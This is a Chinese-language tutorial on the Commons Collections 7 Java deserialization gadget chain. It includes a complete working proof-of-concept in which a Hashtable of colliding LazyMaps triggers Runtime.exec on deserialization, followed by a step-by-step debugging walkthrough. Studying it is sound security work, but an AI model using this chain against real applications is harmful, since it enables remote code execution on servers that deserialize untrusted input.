CommonsCollection7反序列化鏈學習
CommonsCollections7
1、前置知識
Hashtable
Hashtable實現了Map介面和Serializable介面,因此,Hashtable現在整合到了集合框架中。它和HashMap類很相似,但是它支援同步,像HashMap一樣,Hashtable在雜湊表中儲存鍵/值對。當使用一個雜湊表,要指定用作鍵的物件,以及要連結到該鍵的值。然後,該鍵經過雜湊處理,所得到的雜湊碼被用作儲存在該表中值的索引。
//預設沒有引數的構造方,新建為11容量的Hashtable public Hashtable() { this(11, 0.75f); } //也可以指定容量 public Hashtable(int initialCapacity) { this(initialCapacity, 0.75f); } //將指定 key 對映到此雜湊表中的指定 value。 public void put(Object key, Object value) // private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
2、POC利用
2.1、利用鏈
/* Payload method chain: java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec */
2.2、POC
2.2.1、漏洞復現
package com.akkacloud; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CommonsCollection7 { public static void main(String[] args) throws Exception { // Reusing transformer chain and LazyMap gadgets from previous payloads final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); //使用衝突雜湊建立兩個Lazymap,以便在readObject期間強制成功進入for迴圈呼叫reconstitutionPut Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); // serialize(hashtable); unserialize(); } public static void serialize(Object obj ) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin")); objectOutputStream.writeObject(obj); } public static void unserialize() throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin")); objectInputStream.readObject(); } }
2.2.2、POC分析
由於跟cc6很相似,不再重複說明,直接看兩者不同的地方.
主要是hashtable的add方法把Lazymap加入其中,但是為什麼要put兩次呢,就是存兩個lazyMap2到hashtable中呢?
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用衝突雜湊建立兩個Lazymap,以便在readObject期間強制進行元素比較
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
我們來看Hashtable的readObject方法。發現迴圈呼叫呼叫reconstitutionPut方法,elements就是我們傳入Hashtable的元素個數,
先看傳入的第一個元素既lazymap1,reconstitutionPut方法的引數table就是一個長度為5的空Entry<>[],key是Lazymap1,value為1,就是我們第一個put進去的元素。跟進reconstitutionPut
我們的漏洞點在for迴圈裡面,但是第一次我們的tab為空,根本進不去,但是在後面會用我們傳入的key和value新建立一個Entry<>,並且賦值給tab[index],這就是我們為什麼要put兩個lazymap到Hashtable裡,用於進入reconstitutionPut的for迴圈去觸發我們的漏洞點equal方法。
至於最後的lazyMap2.remove("yy"),就是因為我們我們真正在LazyMap中要確保沒有鍵值對關係,才能呼叫transform方法,跟cc6的一樣的理由,不懂可以仔細看看cc6
2.2.3、POC除錯
在Hashtable的readObject方法處打斷點,第一遍進入reconstitutionPut
第一遍進入的主要目的是為了給tab賦值,以便第二次可以進入迴圈的equal方法
第二遍成功進入for迴圈,此時的key就是我們設定空的lazymap
跟進AbstractMapDecorator的equal方法,繼續進入equal方法
AbstractMap的equal方法,獲取我們傳入的lazymap的key和value,key為lazymap,value就是1,我們一開始構造的空lazymap,進入get方法,m就是我們傳入的lazymap,所以是進入到lazymap的get方法,繼續跟進
進入lazymap後,就會反射把lazymap中ChainedTransformer修改為我們的惡意類。此處就是為什麼要去除yy鍵值對的關係(lazyMap2.remove("yy");),去除後才能進入if裡面執行transform方法。
繼續跟進ChainedTransformer的transform方法,迴圈結束就會RCE